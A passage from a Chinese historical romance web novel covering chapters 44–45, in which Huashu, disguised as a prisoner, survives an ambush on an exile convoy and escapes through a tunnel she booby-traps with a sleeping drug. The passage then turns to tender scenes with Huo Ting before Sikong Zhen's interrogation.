果然,怕啥来啥。 晚饭未吃完,原本无人问津的密牢,忽然热闹起来。 先是司空府的前乐师张之仪,因与司空音私生情愫而被赶出府。如今筹够钱急急而来,说等明日流放的籍契盖好后,就会把司空音赎出来 得知司空音已被卖进青楼,一对壁人泪洒当场。 之后是司空夫人的姊妹,执手低泣,说是她家老爷不敢与司空府再产生瓜葛,她只能拿出些私房钱,打点押送的衙役,让他们路上少受些苦楚。 惹得司空夫人怒斥:“忘恩负义!” 紧接着就是司空灵的未婚夫,祁闵。他倒能轻松赎人出去,“但家中已为我另择婚事,只能暂且将你安置在府外。” “你让我作外室?!”司空灵睁大眼 但司空震替她答应了,前提是,得将那对龙凤胎一起赎走。 此后整个下午,司空灵泣泪不止,看华姝时再不复先前的骄慢姿态。 直到黄昏,东厂的番子突然闯进来。 手持森凛绣春刀,在牢房外一字排开。 裴夙以帕掩面,缓步停在司空震跟前,“尚书大人,别来无恙啊。” 囚犯们霎时骇然变色。 司空灵顾不得悲泣,瞬间噤若寒蝉。 就连司空震也警惕起来,“裴督主,什么风把您给吹来了?” 裴夙笑:“早前那私藏反书的都御史,近日又被东厂搜到些新政物。圣上龙颜不悦,流放改判了斩立决。”他朝身后冷声吩咐:“去,将人提到死牢。” 司空震瞳孔骤缩。 裴夙又道:“听闻,你们明日就要上路了?”他掸了掸衣袖的浮尘,嘲弄:“那可要仔细着点,别一夕不慎,改踏上黄泉路啊。” “你——” 司空震厉声相斥,却见东厂番子刺啦亮刀,只得恨恨地怒拂衣袖。 裴夙没再理会他,转身刹那,突然瞧向了对面的牢房,寒眸凛冽阴森。 华姝眼皮突突直跳,被吓得不轻。 她索性又夸张几分,低头以乱发掩面,不停地往墙角瑟缩。想来仅有两面之缘,她又已易容,这人应是认不出的。 殊不知,裴夙对她这双灵透杏眸,再熟悉不过。 他觑了眼她身上发白的囚服,又瞧了瞧司空震,不着痕迹收回目光。 刑部密牢的门外,天边余晖堙灭。 裴夙忽地兴奋起来,“去,把给小姝的户籍和路引拿来。” 容城不解:“主子缘何突然……莫非刚那女囚犯是,不能吧?!” 裴夙:“那小坏蛋连假户籍都敢弄,还有何事是她不能的?” 容城:“如此一来,司空震……” 裴夙嗤笑:“本想让他活着瞧一眼北疆,但他自己作死,可就怪不得旁人了。” 当晚,月上柳梢。 靠近月桂居的墙外,传来阵阵笛音。 半夏从睡梦中醒来,“广陵散?” 她知道这是华姝师徒的暗号,约莫是来送那户籍和路引的。可自家姑娘近几日一直不在,这可如何是好? 笛音一直在婉转吟唱,后来白术也被吵醒。 半夏思来想去,为避免惊动府中护院、不慎暴露假户籍的事,她还是披上斗篷,从角门摸黑迎了出去。 裴夙已易容成骆嘉然的模样,顺理成章道:“你家姑娘呢?” 半夏:“姑娘前几日着了风寒,夜里不便出门,遂命奴婢代她走一趟。” 裴夙没再问,随手将东西递给半夏。 目送她背影远去,那双含笑的月亮眼,转瞬盛满冷白月光,“当真是越发有趣了。” * 几乎同一时刻,刑部密牢。 流放在即,今夜一片死寂的无眠。 时不时一声铁链拖地的闷响,或是囚犯干咳。耗子啃食着木头,又像在啃人骨头。 地底不停涌上阴冷的寒气,贴着人脊背爬过,如鬼手轻抚。 华姝瑟瑟地抱紧小腿取暖,心里念着,明日与霍霆汇合后就好了,一切就结束了。 为缓解恐慌,她强迫自己思考下午来的那几波人。 突然扎堆而来,像在替谁打掩护。 乐师因凑钱而来迟,似乎说得过去。 但祁闵乃鲁国公府的嫡长孙,为何也等到今日才来?而且,司空震还把那对龙凤胎也托付于他。 司空夫人大骂姊妹忘恩负义,貌似对方之前更仰仗司空府,不似平等盟友。 裴夙奉旨而来,但时机未免太巧。 又或那几个叫不出名的幕僚…… 如此想着,华姝眼皮渐渐沉重。 混沌之间,她仿佛回到了小时候。 回到了华府,到处都是灰烬残肢。 焦土间浮动着腐肉与骨灰的腥气。那些曾经鲜活的身躯,如今化作黢黑的炭块,肢体扭曲地堆叠成山。 突然有东西从尸堆里蠕动起来—— 是半截烧焦的臂骨! 它指节抽搐着,猛地朝她抓来,喉管里挤出凄厉的呜咽:“救我!救救我!” 华姝吓得急急踉跄后退。 结果,整片的焦炭都开始簌簌震颤,上百张烧融的熟悉面孔在烟尘中浮现。 他们乌泱泱地朝她笼罩过来,上百双的利爪撕扯着她,尖声咆哮着: “为何只有你能活下来?” “为何不给我们报仇?” “你枉为华氏子孙!” “你也该死!你该死——” 华姝感觉自己也像在被无数的火舌灼噬一般,浑身都滚烫、刺痛难忍。 她极力挣扎着,歇斯底里地解释着:“我不知道……我真的不知道。我一定会查明真相的,我一定会替你们报仇雪恨!爹,娘……” 华姝猛地睁开眼,囚衣被冷汗浸透。 昏暗中,张牙舞爪的阴影仍残留眼前 急促呼吸声,在寂静的牢房格外清晰 可不待她气息喘匀,蓦地撞上司空震的探究目光,“夫人亲眷,死于仇杀?” 华姝僵住。 心中疾速搜刮着关于尹襄菱的过往。 尹家是被圣上下令抄家,女子沦为贱籍。若说报仇雪恨,一介小女子还敢对抗天子不成? 但梦话喊了出去,不知司空震他们听去多少,现下显然不能再改口。 危急关头,华姝急中生智,转而悲恸愤恨道:“不错。民妇娘家正是被仇人诬陷,才落得个家破人亡。” 司空震追问:“何人所害?” “正是那些东厂阉狗!”华姝利用下午对裴夙异常惊惧,半真半假地说。 司空震瞧着她,若有所思。 华姝为了假戏逼真,又义愤填膺道:“下午见那个裴督主对您多有冒犯,莫非也是他害您全家沦落至此?” “若您日后想要与他报仇,请让民妇也尽一份薄力。若已有证据,民妇出去后定为您竭力奔走,不死不休!” 但司空震浮沉官场多年,精明至极。 他听后神色如常,不答反问:“你夫君又因何去世?” 华姝本也没指望司空震会答,而是为了顺带引出圆妙下场凄惨,“山哥横遭毒手,尸骨无存,民妇连他残躯都不得一见。” 她又狠掐一把腿肉,瞬间红了眼眶。 司空震见状,陷入良久沉默。 华姝继续柔柔哀泣,绵绵不绝,浑似哭丧,搅得他渐渐烦躁不安起来。 直到,高墙外忽然传来一阵笛声。 唇息吐纳刹那,迸裂如裂帛,摇指似战鼓滚雷,轮抹间迸出肃杀之气,惊起檐角铜铃震颤。 激昂的势气,引得无眠的囚犯们纷纷侧耳聆听。 司空府那对龙凤胎,歪头好奇问:“小娘,是谁在吹笛子?好好听。” 那花龄美妾摇了摇头,意味深长:“小娘也不知。” 不知这饱含着深意的笛音,深夜是为谁所奏。 华姝识得,这笛声是《剑舞曲》。 是霍府庆功宴那日,二夫人为了吟唱赞诵霍霆的军功伟绩,特意命人写的曲子。 她不禁心跳悸动,难道是他来了? “定是之仪哥哥。” 呆坐在角落的司空音,早已泪流满面。她用袖口紧捂住嘴,哀哀低泣:“定是他,来送我最后一程了。” 华姝闻言,没予置评。 只将脸颊枕在膝上,转头望向那洒进月光的小窗,嘴角浅浅抿起一丝笑意。 听着这笛音,仿佛霍霆亲临。 原本,下午见了太多肮脏的事,她已作好一夜不得安生的准备。 此刻墙外的笛声,让人心绪莫名安定下来,缓缓阖上双眼。 第44章 小别胜新婚 高墙之外, 并非霍霆。 而是杜九娘。 晚间收到密信,得知惊动了幕后之人,霍霆疾速启用了备选方案。 稍显费神,但一切也都在绸缪之中。 可当他听得锦衣卫曾进密牢, 面上罕见露出一丝骇色。 杜九娘起初不解, 王爷怎会怕裴夙? 后来才知, 他忧心的原是牢中佳人。 即使无法亲临,也要挖空心思, 用这笛音遥遥护她入眠。 杜九娘静静立在空旷长街上,月光将她影子拉得又细又长,似乎再也看不到尽头。 * 次日天没亮,牢房内很多人就开始来回走动。 但用过早饭,用过午饭,甚至都快到晚饭的时辰,都没衙役来带他们上路。 牢内的氛围逐渐紧绷。 有胆子大的忍不住问:“大人,之前说今日一早就要前往北疆……” “急什么急?赶着投胎啊!” 衙役一棍子挥过去,阴狠地啐骂道。 众人瞬时噤声。 华姝注意到, 衙役换人了。 清早以为, 是启程北疆需要做交接。直到午饭时分, 她琢磨过味来,原来那人怕是凶多吉少。 这一结论, 令她不安起来。 霍霆知道了吗? 延迟流放, 是他的应对, 还是对方的阴谋? 华姝不时去悄看司空震的反应, 对方貌似也在打量她。 双方愈加惶惶不安。 更令人不安的是,晚饭后,就在大伙都如常歇下时, 一群衙役突然“噼里啪啦”将所有人都喊醒,“起来起来!都赶紧给我起来!” ——流放的时辰,竟定在了半夜! 月深霜浓,夜风清凛刺骨。 时隔五日,华姝终于走到牢房门外,又呼吸到新鲜气息。 紧接着冻得一哆嗦,赶忙抱紧自己单薄的囚服。 除了她常见的三十来人,另有一大批流放囚犯等在门外。 在二十个衙役的押送下,冒风徒步出城,穿过一片幽寂的枯树林,来到城郊的十里亭。 一股强劲的冷风呼啸吹过,密林阴影攒动,寒鸦“嘎嘎”飞掠而起,惊得人毛骨悚然。 好些犯人都吓得四肢发抖。 华姝也阵阵寒颤。 好在接应的马车已远远可见,两辆。 稍大那辆是祁闵派来接司空灵的。这个时辰,他本人没现身。只派个年长婆子,并四个护院骑马随行。 杜九娘从较小的那辆低调走下来,快速按赎刑的路程,从为首衙役的手中拿到“尹襄菱”的流放户籍。 她拉着华姝走开几步,严肃低语:“情况有变,你且赶紧到马车上换好衣物。”而后才去给司空音兄妹赎身。 “你也多加小心!”华姝稍才安定的心,再度悬了起来,加快步调走向马车。 以宽大斗笠遮面的马夫,是濯缨。 车厢内准备的衣物,裹着一件精巧的金丝软甲,甚至还有霍霆送她的那块玉佩。 华姝倒吸一口凉气。 事态似比想象的更为严重。 顾不得满身脏污,她匆忙换好厚实衣衫,将玉佩坠挂在腰间。 边换边问:“司空音是弃子。如果司空煦几人都跟司空灵走了,我们要如何跟司空震谈判?” 濯缨:“您放心,他们走不了。” 正说着,不远处蓦地“咔嚓”一声。 伴着马惊嘶鸣,和陌生男人的咒骂。 华姝看向窗外,旁边马车散架了?! 司空灵几人被迫下车,围成圈商议对策,而后踌躇地走过来。 杜九娘也带着失魂落魄的司空音走近 司空煦朝她们拱手,“几位可否行个方……” 突然,一柄冷箭斜逼他脚尖! 不待他反应过来,无数的破空声,从密林的不同方向炸裂开来。 “噗!噗!噗……” 几个流犯当场被射成筛子。 血腥味四溢,入目遍染殷红。 不知谁先“啊!”得一嗓子,尖叫声,呜咽声,四散奔逃声,刹那间撕破了幽诡的夜。 紧接着,更多反光的翎羽在夜雾中亮起。乌泱泱的阴影,直逼华姝的马车—— “小心!” 杜九娘眼疾手快,将她拽下马车,险险避了开。 濯缨第一时间挥出长剑,“刷刷刷”凌空舞动,阻截箭簇。 满地的断箭,看得华姝头皮发麻。 与此同时,司空灵几人在四个护院的掩护下,急急朝反方向逃去。 焉知,那里也有埋伏! 土匪打扮的一群人,手起刀落。打头的几个护院,脑袋顿时滚落在地,眼珠子还在咕噜动着。 “蠢货!” 杜九娘咒骂了声,吹动口哨。 隐在暗处的几十名暗卫冲了出来,逆着密林箭雨、猎猎劲风,与对方血拼到一处。 更浓重的血腥味弥漫开来。 一阵激烈厮杀后,勉强抢回了会些拳脚的司空煦,以及他护着的五岁幼妹。 “赶紧上马!”濯缨砍掉马车缰绳。 于是杜九娘带着华姝,司空煦带着幼妹,双双骑马,紧急冲出密林。 华姝紧张地回看追兵位置。 身后,濯缨等人正在垫后打掩护。 远处,流放的刑犯死伤无数,满是残尸狼藉。 更远处,司空震几个兄弟趁乱夺了衙役的刀,竭力保护着家眷。 奈何连日的挨饿受冻,让他们皆是有心无力,眼看着一个个家眷倒在脚下。 “啊——” 一道撕心的怒吼声,骤然响彻夜色。 密林上空,月光青白一片,不带丝毫温度…… * 入夜,城门已锁。 华姝四人就近躲进一处城郊荒宅。 她反应过来,耳语:“这就是对方推迟到夜里,让流犯北上的企图吧?” 月黑风高,超出皇城安防的地界,草草归案于土匪作乱。 “不错。”杜九娘引她走进主屋,低声:“我们在十里亭等到晌午,就惊觉不对。但刑部已被人打点好,说要等一批新流犯走完流程,可见今晚必有恶战。” “之后可有应对之策?”华姝回看空荡荡的偌大庭院,虽是高墙耸立,但感觉在那些黑衣人面前,也难以抵挡到天明。 杜九娘关上寝房的门,将司空煦兄妹隔绝在外,更低声道:“此地由王爷特意选定,暗处已埋伏好咱们的人。而且……” 她移开墙角一起不起眼的洗脸架,轻敲地砖,泛起空响。 华姝眼睫微动,有密道。 心悬了一路,总算回落几分。她筋疲力尽地倚靠在床边,粗略梳理着整件事。 霍霆曾说过:若能悄无声息地取得司空震信任,让他们随她安置在周府的附近,秘密监控,套得证据,来日或能成为一张关键的底牌。 若是惊动了幕后之人,即便司空震什么都没跟她透露,有这五日的存在,也会离间地他们信任不复。 显然,局势已演变为后者。 幕后之人选择了满门灭口。 还真是,跟当年作风一模一样呢…… 如此想来,今晚的厮杀有利也有弊。 华姝蹙眉沉思,司空震孤立无援,更猜忌那边一分,就只得多倚重“尹襄菱”一分。但前提是,“司空震可能救得出?” “看濯缨吧。”杜九娘将洗脸架复位,眼神复杂,“王爷下了两条死令:不惜一切护住你;余有精力,再救出司空震。” 华姝心头一悸,“那他自己呢?可是遇到了困局?” 以她对霍霆的了解,若无事发生,他不会轻易将她的安危假手于人。 “王爷率人在外围守着,尽量将追兵拦截掉。在司空震面前,我们不暴露真正的实力,这场戏才能长久唱下去。” 华姝会意,“是了,司空父子难免识得他声音。” “姑娘在牢房定没睡个好觉,赶紧得空歇歇吧,真若再打起来还指不定怎么样呢。”说完,杜九娘就守到门外。 此等险境,华姝哪敢真睡着? 且歪在旧床边缘,阖眼假寐。 一闭眼,全是那人的伟岸身影。 也不知他昨夜何时离开的,等会见到……算了,还是别问了,没准又要捉弄她。 门外,不时传来司空煦的求助声,他幼妹的啜泣声,和杜九娘的讥讽:“我一介风尘女子,能雇几个护院逃出来就不错了,哪有那手眼通天的能耐?” 屋外冷风呼呼,更远处农家犬吠。 就这么混沌着,不知多久,濯缨背着司空震跃墙而入,踉跄跌进堂屋。 华姝寻声走出去看。 司空震伤得不轻,濯缨身上也挂了彩。两人靠在废旧的木椅上,血腥味刺鼻。 司空煦忙到庭外井中打来半桶冷水,也没敢点灯,摸黑给两人洗净伤口,用杜九娘的干整帕子简单绑紧。 期间,濯缨告知:霍府其他人无一活口。 司空震则将哭哑的幼女搂紧在怀中,沉浸于哀恸中,始终一言未发。 华姝无声瞧着,这种家破人亡的滋味,终究还是轮到他了。 堂屋从新陷入沉默。 屋外明月高悬,这夜算过去一半了。 “梆!梆!梆!” 院墙外三声更响。 打更人扯着嗓子:“天干物燥,小心火……不好,着火了!” 他惊呼:“来人呐,快来人救火!” 空荡荡的夜里,呼救声格外清晰。 浓烈呛人的白烟,漫天直冲的熊熊大火,也是格外夺目刺眼。 可闹这么大的动静,“周围的人家怎么一点反应都没有?” 萧成站在屋顶暗处,俯视着周遭火光四起、仍鸦雀无声的宅院,诧异道。 霍霆屹立一旁,也在凌空俯瞰。 很快,他沉声开口:“调虎离山。” “王爷的意思是,”萧成骇然:“这十几多户的人家,全被下迷药了?!” 如此一来,他们要么眼睁睁看着,这么多无辜的百姓被活活烧死,就像当年的华家一般。 要么他们就得分拆人手去救,防线薄弱,难以抵挡对方之后的突袭。 好一出调虎离山之计! “好生卑鄙!”萧成狠狠啐骂。 霍霆眉峰蹙紧,简短的几息沉默后,当机立断:“长缨,你带一队人马,即刻前去救援。” 长缨:“那您这岂不是腹背受敌?” 霍霆:“无碍,你且速去速回。” “是!”长缨令行禁止,挥手招呼上一拨人,一跃而下,隐没在浓烟烈火之中。 而就在他离开不久,几百个手持利刃的黑衣人,如期而至。 他们从外围包抄,对着霍霆等人,霎时间弓弦铮铮,刀锋映月。 每一柄箭头,都淬满殷黑剧毒。 每一次出手,都招招致命。 霍霆领兵征战多年,岂会忌惮这点子狠毒手段? 随着他一声令下,萧成等人旋即举起脚边的盾牌,围成一圈的防御盾墙。 这盾牌并非普通玄铁打造,而是掺杂了“慈石”。凡是铁器之物稍一靠近,就会被猛地吸附过来。 于是,还未开始正式交手,裴夙这边,先损失了一波趁手的兵器。 “好一个镇南王,还真是不能小觑他。”裴夙玩味笑道:“给我用火攻,一个活口不留。” “是!” 说时迟那时快,无数的火舌漫天绽开,好似在夜空爆裂一场灿烂烟花。 但最后坠下的,是残碎的尸骸血肉。 这血腥一幕,恰是发生在荒宅对面。 悉数落在主屋众人眼中。 不等司空震起疑,司空煦已先警惕盯着她们,“你们究竟是什么人?” 华姝没理会他,疾步推开后窗一看,“已经打进了院子,我们得赶紧走。” “他们就是算准了主子心善!”杜九娘气得想骂娘,她冷脸看向那三人,“若是不想死,就跟紧我们。” 半晌未出声的司空震,终于开口发话:“跟上。” 司空煦闻言,只好照做。 密道入口隐蔽,窄小,单次仅限一人 杜九娘拿着火折子,先跳下。 华姝再跳下,回身来接司空震幼女。 不经意间,她握住了小女孩的手腕脉搏。指腹倏地弹开—— 这竟是个男娃娃! 华姝警钟大作,再看向司空震时,眸光又蒙上一层异样神色。 等他们父子跳下密道后,她招呼留守在上方的濯缨,“你也下来。” 濯缨不解,但视线一瞬扫过她腰间的玉佩,二话没说就跳了下去。 然后他反过身,从里头将那块地砖,一点点挪回原位。 院中的打斗声,离主屋越来越近。 须臾后,一条猎狗闻着味而来。 那块地砖,被从外面一点点挪开。 裴夙黑衣蒙面,手执火折子,往入口下方探了探,地道深不见底。 他随手指一人,“你,下去瞧瞧。” 约莫一盏茶,那人去而复返,“密道下方并无机关,出口开在西南的田间地头。那处不好藏身,即刻带人就去搜,他们铁定跑不了。” 裴夙想了想,拨出一半精锐追下去。 他则带着另一半精锐,及那条猎犬,准备从地上寻着气味去围堵。 哪知一行人刚迈出堂屋的门槛,身后就是“嘭”得一声巨响。 里屋的密道炸了! 霎时间沙粒飞溅,尘土弥漫。 众人呛得咳嗽不断,纷纷挥手去扇。 视野还来不及清晰,离着里屋最近的七八人,接连二三“哐当”倒地。 “是迷药。” 裴夙率先掩住口鼻,疾步撤到院中。然后从腰间翻出一瓶解药,扔给手底下的人。 容城的反应慢半拍,“那迷药是您……”给华姑娘的啊? 裴夙望着里屋的一片狼藉,又气又笑:“小东西。” “好一个吃里扒外的小东西!” 每个字都像是从他齿尖磨出来的。 但话音刚落,霍霆就已击垮那一圈纠缠的黑衣人,率领萧成、长缨等人齐齐围攻而来。 裴夙仰头,望着乌泱泱压过来的人影,心知今夜大势已去,不得不咬牙止损:“撤!” 容城弹出信号烟花,“撤——” 余下的一百多个黑衣人,旋即朝着裴夙飞掠而走的方向,如潮水般迅速退散。 杀人放火了还想走? 岂有此理。 “追!”霍霆脱口下令。 可他刚要翻身上墙,大腿旧伤再度发作,如无数的针尖穿透骨髓一般刺痛,发酸发麻。 霍霆闷哼一声,被迫顿住脚步,“萧成,你去。” “是!”萧成大喝一声,提剑带人追了出去。 * 云端浅浅泛出一丝鱼肚白,华姝顺利回到城郊别院时。 天光渐渐明亮,她眼眸也愈加明亮。 动荡历时六日五夜,总算告一段落。 女儿家最爱干净,华姝没用早膳,先行钻进浴室。 牢中数日不洗澡,满身黏腻呛鼻。光是把头发洗干净,就倒掉两大盆污水。 后来坐在浴桶内花瓣泡澡时,她甚至在想,该等霍霆亲眼瞧过再洗的,或许从此就对她敬而远之了吧? 当然啦,她是有贼心没贼胆。 华姝本就强撑一口气,等梳理干净全身时,胳膊已虚软地抬不起来。 只舀了小半碗鸡丝肉粥,就歪身陷在七层云锦的床榻中,沾枕头睡沉。 期间,杜九娘两次过来唤她吃饭,华姝都含混地敷衍过去,然后用锦被蒙住头继续睡。 等到第三次,霍霆暂时搁下手头事务,亲自前来。 午后,窗棂漏进几缕鎏金般的暖光。 珊瑚红锦被堆里,清隽的姑娘还在香甜酣睡,额角沁着薄汗。 她忽地咂了咂唇,腮边泛起胭脂晕,好似一只贪眠的粉玉小猪。 谁能想到,就是这么个妙人儿,一招截获了对方三四十个精锐? 霍霆坐到床边,用骨节轻蹭了蹭她睡颜,低语柔声:“姝儿,起来吃点东西再睡。” 华姝仍是含糊应好,翻身继续睡。 霍霆失笑,又捏了捏她睡得粉嫩的鼻头,而后被一爪子拍掉。 他自是不会恼,用手背试过茶几上小碗的温度,舀起一勺血燕,递到华姝唇边,“乖,张嘴。” 睡梦中,华姝恍惚听到熟悉的声音,也不作设防,乖乖张开嘴。 血燕入口即化,直接吞咽即可。 于是暖融融的床笫间,两人一个含笑投喂,一个迷糊吞咽,如此往复,血燕小碗见底。 霍霆心满意足地放下碗勺,凝看着她明显消瘦下来的小脸,心疼地想将人揽在怀中。 奈何昨夜之事亟待善后,他浅叹了声,顺手掖好被角,而后起身出门。 杜九娘一直侯在门外。 霍霆浅看她一眼,淡声吩咐:“你也下去歇着罢。晚膳她若还在睡着,再来书房禀告于我。”说完,款步离去。 杜九娘目送他冷硬的背影远去,再回想起他在屋内的轻哄软语,不禁苦苦一笑。 可再想起华姝昨夜的种种巧思,杜九娘又释然一叹:“她,确实值得……” 直到次日晨间,华姝羽睫缓缓睁开。 一眼就瞧见了和衣睡在枕畔的男人侧颜。 晨曦隔着床幔,映照出他眼下黑青,和下巴上的青胡茬。 想来这几日,定也睡得不甚安枕。 她心头微动,忽然想抬手摸摸那胡茬的触感。 然后才发现,整个人都被霍霆箍在怀中。 华姝不忍惊醒他,慢慢地,轻轻地抽出一只手臂,抚过刺手的短茬,又抚上那条眉骨短疤,顺带勾勒过他眼眶。 以往在府上总是小心避着、躲着。 如今才五日未见,她这心里竟是不知念了他多少回。 华姝暗叹,有些习惯当真不可思议。 再这般下去,她恐是真不舍离开了。可若不走,又会给他招致无数的祸端。 单是那幕后凶手一家势力,她能为他做的便微乎其微。 若日后换作数十名言官的合力声讨,甚至圣上也借机施压。 又或两人的秘辛提前败露,那幕后凶手还不知会怎样的推波助澜,后果令她不敢想象…… 唔! 出神间,作祟的小手倏地被捉住。 霍霆依旧阖着眼皮,却不妨碍他将“偷摸小贼”缉拿入怀。 他下巴习惯性抵在她头顶,挪动成舒服的姿势,“睡醒了?” 嗓音余有一丝惺忪哑意。 华姝蹭着他鼓震胸腔,浅浅点头。 娇软佳人在怀,霍霆罕见贪眠一次,“再陪我躺会。” 说着又将她拥紧几分,低头,脸庞埋进她馨香浓密的乌发里。 这几夜梦里,无数次遇到这样的虚缈画面,如今总算真切了。 华姝不知自己已睡了一日一夜,见霍霆如此松弛悠闲,忍不住寻问:“司空震那边,您都安置好了?” 霍霆从鼻腔内“嗯”了声。 华姝又问:“那他可有交代,是何时拿到那个香囊的?” 那晚遁入密道,发现那小男孩的真实身份后,她心中窦疑丛生。 司空震定还在盘算着什么后手。 于是,华姝叫濯缨陪她走在最后,悄声从腰带里侧翻出很小一瓶迷药,示意他找机会迷昏司空震三人。 那瓶迷药乃是她师父所赠。据他说药效极强,“一点剂量就能放倒一头野猪。”她遂带进刑部密牢防身。 濯缨却摇头表示不需要,径直两个手刀劈下去,司空震父子猝然昏倒在地。剩下那个小娃娃,不足为惧。 之后他粗略探查,就从司空震的囚服内搜到个墨绿色金丝绣线的香囊。 香囊内的拇指大的香膏,无色无味,但显然很不合时宜。 杜九娘常年混迹于云兮楼,见多识广:“这恐是用于秘密追踪的香料。” 气氛瞬间变得凝重。 好在,杜九娘又提及:“王爷在密道藏了火雷,咱们快些避出去,炸塌出口,那些人也就追不上来了。” 华姝一听,心思又活络起来。之后,几人埋伏到密道的出口附近。 待那探路的人折返后,她忙让濯缨将香囊放回密道内,下面压着那火雷的引线,和那一小葫芦瓶的迷药。 等到更多的贼人追下来,只要有人捡起香囊查看,就能“嘭”得引爆迷药。 可来别院的路上,华姝怎么回忆,都记不起司空震是何时何地、从何人手上拿到的那个香囊。 若是能确认,就能更快锁定幕后真凶了。 “此事急不得,他不会轻易开口的。”耳畔,霍霆呢喃着解释:“司空震手握线索越多,越会引得我们双方争抢,他才好借刀杀人,坐收渔利。” 华姝耳朵被他吹得痒痒的,青胡茬也有点扎人,她稍微偏头挪开几寸,再问:“那他可有说,是何时看穿我身份的?” 霍霆:“未曾。” 华姝:“那他……” 话音未落,忽然一阵地转天旋。 男人滚烫而沉重的健硕身躯半压了上来。俯身,眯眼威胁:“在我的床上,还敢总惦记别的男人?” “他是仇人。” 华姝啼笑皆非,抬手去轻推他的肩。 没推开,反引得他不满地捏鼓她两腮,强横要求:“仇人也不准。” 第45章 哄不好了 两人又相拥浅眠了会, 霍霆才意犹未尽放开佳人。 仲秋天凉,忽然没了他这个天然火炉,华姝一时有点不适应,瑟缩了下, 又钻回锦被里。 霍霆顶着寒气, 起身穿戴好。结果回身一瞧, 气笑:“刚是谁总催着我起床的,嗯?” 华姝不好意思眨了眨眼, 挪开。 清澈的明眸,比瑰丽的晨曦更绚烂。 霍霆一连多日沉重的心绪,也跟着轻盈起来。 他步伐轻快地走到墙边,拉开衣柜,里面咤紫嫣红的罗衫襦裙装着满登登。都是后来命人置办的,以备华姝住过来时方便换洗。 霍霆不懂女子服饰,挑挑拣拣,选了一套她素日爱穿的杏色,拿到床边。 有外裳自然也有小衣。 是件米黄色芍药刺绣的。 握在男人麦色薄茧掌中, 异常醒目。 华姝甫一瞥到, 眸光就像被烫了下, 又往锦被里缩了缩,最后只剩个毛绒头顶在外面。 霍霆忍住想伸手去揉的冲动, 将衣物塞进锦被底下焐着, 叮嘱:“焐热了就起来穿好。你昨个一整日都没怎么进食, 有损肠胃, 多少都要吃些再补眠。” 华姝讶异探出头,“一整日?” “嗯。”霍霆瞧着她睁圆错愕的眼睛,不动声色道:“约莫来过十波人, 争相抢着采买小懒猪。” 嗯? 华姝反应了一会,才回过味来。 她羞愤地瞪他一眼,坐起身来,毫不留情地拉上床幔,将人驱逐在外。 霍霆笑笑,没再缠闹她,转身出门去安排早膳。 红枣糯米粥、桂花蜂蜜糕、土豆胡萝卜火腿卷、红糖馒头、酸汤虾仁抄手……大多是甜味的,很合华姝胃口。 尤其刚在牢内苦着了嘴巴,今日早膳她进用地格外香甜饱腹。 唯独那道香脆的椒盐烤乳猪,也不知这人是有意无意。 她有点迟疑,倘若夹来吃会不会又被他打趣,半晌一筷未动。 霍霆隐约瞧了出来,挑一块最嫩的猪里脊,夹到她膳碟内,“多吃些。等会萧成要审讯司空震,你随我同去。午膳估计会推迟。” 华家仇恨为重,华姝没了闲心,点点头,专注用好早膳。 霍霆又陆续夹来一些烤猪肉脍、点心、抄手,她皆是小口咀嚼入腹,不知不觉,用量比平日的两倍还多。 等放下玉箸,对上霍霆含笑目光,华姝才恍然轻叹,这人总是有法子拿捏住她七寸、哄诱她就范。 * 膳后,霍霆依言带华姝去旁听对司空震的审讯。 “您将司空震安排在了何处?” “临街的一处宅院。” 但华姝注意到,两人从主屋出来后,没走相近的北侧正门。 她猜测,多半是为了避人耳目,要走偏门或角门。 然而一路穿过园林,走下石桥,眼看角门将近,霍霆却牵着她转了方向,来到桥边那座黑塔的门前。 萧成早早等候在此处。 他本来还纳闷呢,老大向来守时,这又是被何等要事绊住了脚?待远远望见手牵手并肩而来的两人,顿时嘿嘿一笑。 萧成熟稔地脱口道:“嫂子,早。” “……萧将军早。”华姝颊上飞霞,下意识想将手抽回来。 霍霆不准,手中捏紧几分力道,面上不悦地瞥向萧成。 “我去开门!”萧成麻溜逃远。 只见他先行推开黑塔一楼半掩的木门,而后走到中央旋转木梯的背面,徒手搬开一座沉重的石碑。衣袖下的腱子肉,块快紧绷凸起。 石碑底座下方,露出一块可移动的石砖,挪开后,又是一条密道。 华姝看得眼皮轻跳。 对这座别院再一次刷新了认知。 犹记得初来别院那次,老夫人吩咐霍千羽,未经霍霆特意,不可私自来寻她。 华姝那会只当是这几层墓碑存着机密,原是这塔下还大有文章。 她仰头看向身侧的男人,那晚擅自闯入,他对她当真就一点不设防吗? 较荒宅的那条,此处密道更幽长深邃 但或是有萧成在前面提灯引路的缘故,又或是身旁有霍霆时刻相伴,华姝这次没有生出一点紧张。 “濯缨回来禀报,说你那晚也很勇敢,临危不乱。”他又一次看穿她心思。 “地点和护卫皆由王爷亲自择选,我自是不怕的。”华姝压低声音,轻声细语。 然而密道拢音,萧成走在前面,还是听得一清二楚。 小情话甜腻腻的,让打光棍多年的糙汉听得浑身刺挠,心里发痒。他暗道,真该让濯缨也来听听,一起受刑。 “户部那边查得如何?”霍霆问及正事。 萧成也跟着正色起来,停下脚步,回身禀告:“这河南府尹孔翌一家的流放审批,依次经过户部、刑部侍郎及尚书的朱批核验。四人皆按章程办事,时辰截点卡得刚好,暂时查不出是何人的手笔。” 霍霆携华姝走近,边走边问:“案件开端呢?” “是河南府衙的捕快拿着账本,进京到户部门前,死谏自己的上官孔翌贪墨。此类案件,这些年时有发生。” “至于为何选在半月前那日,刚好让孔翌的流放日子撞上司空震的”萧成叹:“已是死无对证。” 华姝在一旁安静听完,慢慢听懂他们是在调查,她在刑部瞧见的那几十个流放新犯,“又是死无对证,同皇龙寺劫匪的下场倒是相像。” 萧成点头,“嫂子说得不错,这是他们一惯手段了。” “……”华姝不再搭话。 她早前就几次纠正过萧成,结果他反而越叫越顺口。 霍霆亦是恍若未觉,只道:“越是看似正常,其中越有关窍。户部、刑部这四人仍需多加留心,这样,你等会想法子诈一诈司空震。” 萧成:“是。” 说话间,前方已渗入点点微光,地道出口近在咫尺,就设在对街宅院的假山内部。 三人逆光走出假山,入眼便是严密的巡逻护卫。 十人一队,两队一组,三组同时环绕着宅院的主屋。 院内另设有专门的膳房和洒扫仆从。 除了限制住人身自由,其他吃穿用度,不知比刑部密牢内好了多少倍。 但同时,陌生的环境,超出预期的太多陌生目光,若有似无的异样探究,都让华姝倍感压力。 她不自在地抽回手,落后一步。 霍霆侧头回看,情绪不明。 华姝捻着指尖,垂眸未语。 她本可以托词一句“手麻了”,可哄骗伤人之语到了嘴边,终是滞涩在舌尖。 